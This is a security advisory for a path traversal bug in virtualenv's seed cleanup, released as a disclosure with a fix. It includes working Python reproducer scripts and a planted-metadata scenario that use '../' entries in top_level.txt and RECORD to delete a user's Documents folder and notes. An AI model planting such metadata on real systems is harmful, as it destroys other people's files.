CVE-2026-113719: virtualenv: path traversal in seed cleanup deletes files

## Summary The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment. Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Removal of a previously installed seed package. ## Attacker-controlled input An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path. ## Affected code The relevant 21.14.8 source is in [seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py). ## Mechanism Before reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info` directory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to `site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; `--clear` removes that tree first. ## Reproduction and evidence The scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt` contained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held `Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths. A control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in place. The reproducer prints `BUG` only when the control files survive and both attack targets disappear. The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. [PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root and refuses to delete the root itself. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared .venv metadata participant V as App-data seeder participant P as site-packages participant H as User home A->>P: top_level.txt names ../../../../../Documents A->>P: RECORD names ../../../../../notes.txt V->>P: read pip-1.0.dist-info before reinstall P->>H: join entries without containment check V->>H: remove Documents and notes.txt V-->>A: virtualenv exits successfully ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path work = Path("/tmp/repro-seed-uninstall") shutil.rmtree(work, ignore_errors=True) USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt") def make_home(name): home = work / name (home / "Documents" / "thesis").mkdir(parents=True) (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n") (home / "notes.txt").write_text("my notes\n") return home def unpack_attacker_project(home, top_level_line, record_line): subprocess.run( [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line], check=True, ) def user_runs_virtualenv(home): # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline result = subprocess.run( ["virtualenv", "--no-periodic-update", ".venv"], cwd=home / "project", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, text=True, check=True, ) print(result.stdout, end="") def files_left(home): return [f for f in USER_FILES if (home / f).exists()] # control: the project ships well-formed pip metadata control_home = make_home("control") unpack_attacker_project(control_home, "pip", "pip/__init__.py,,") user_runs_virtualenv(control_home) control_left = files_left(control_home) print(f"CONTROL user files still in ~ after virtualenv: {control_left}") # attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~ attack_home = make_home("attack") unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,") print(f"BEFORE user files in ~ before virtualenv: {files_left(attack_home)}") user_runs_virtualenv(attack_home) attack_left = files_left(attack_home) print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}") # check: creating an environment must never delete the user's files outside it print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK") ``` **`repro.d/make_project_tree.py`** ```text #!/usr/bin/env python3 import sys from pathlib import Path project = Path(sys.argv[1]) top_level_line = sys.argv[2] record_line = sys.argv[3] project.mkdir(parents=True) (project / "README").write_text("Set up with: virtualenv .venv\n") # a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown for minor in range(9, 16): dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info" dist_info.mkdir(parents=True) (dist_info / "top_level.txt").write_text(top_level_line + "\n") (dist_info / "RECORD").write_text(record_line + "\n") ``` ## Impact Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths. Severity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks. Fix: [PR #3428](https://github.com/pypa/virtualenv/pull/3428). ## Known mitigation Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.

An attacker who can write to a shared project directory, build cache or workspace on a multi-user ML training host plants a .venv containing a fake pip-1.0.dist-info. Its top_level.txt points to ../../../../../Documents and its RECORD points to ../../../../../notes.txt. When a data scientist later runs 'virtualenv .venv' in that project to refresh their environment, the seeder reads the metadata, joins the traversal paths to site-packages and silently deletes the victim's Documents folder and notes while exiting successfully. The attacker has caused data loss without any code execution on the victim's session.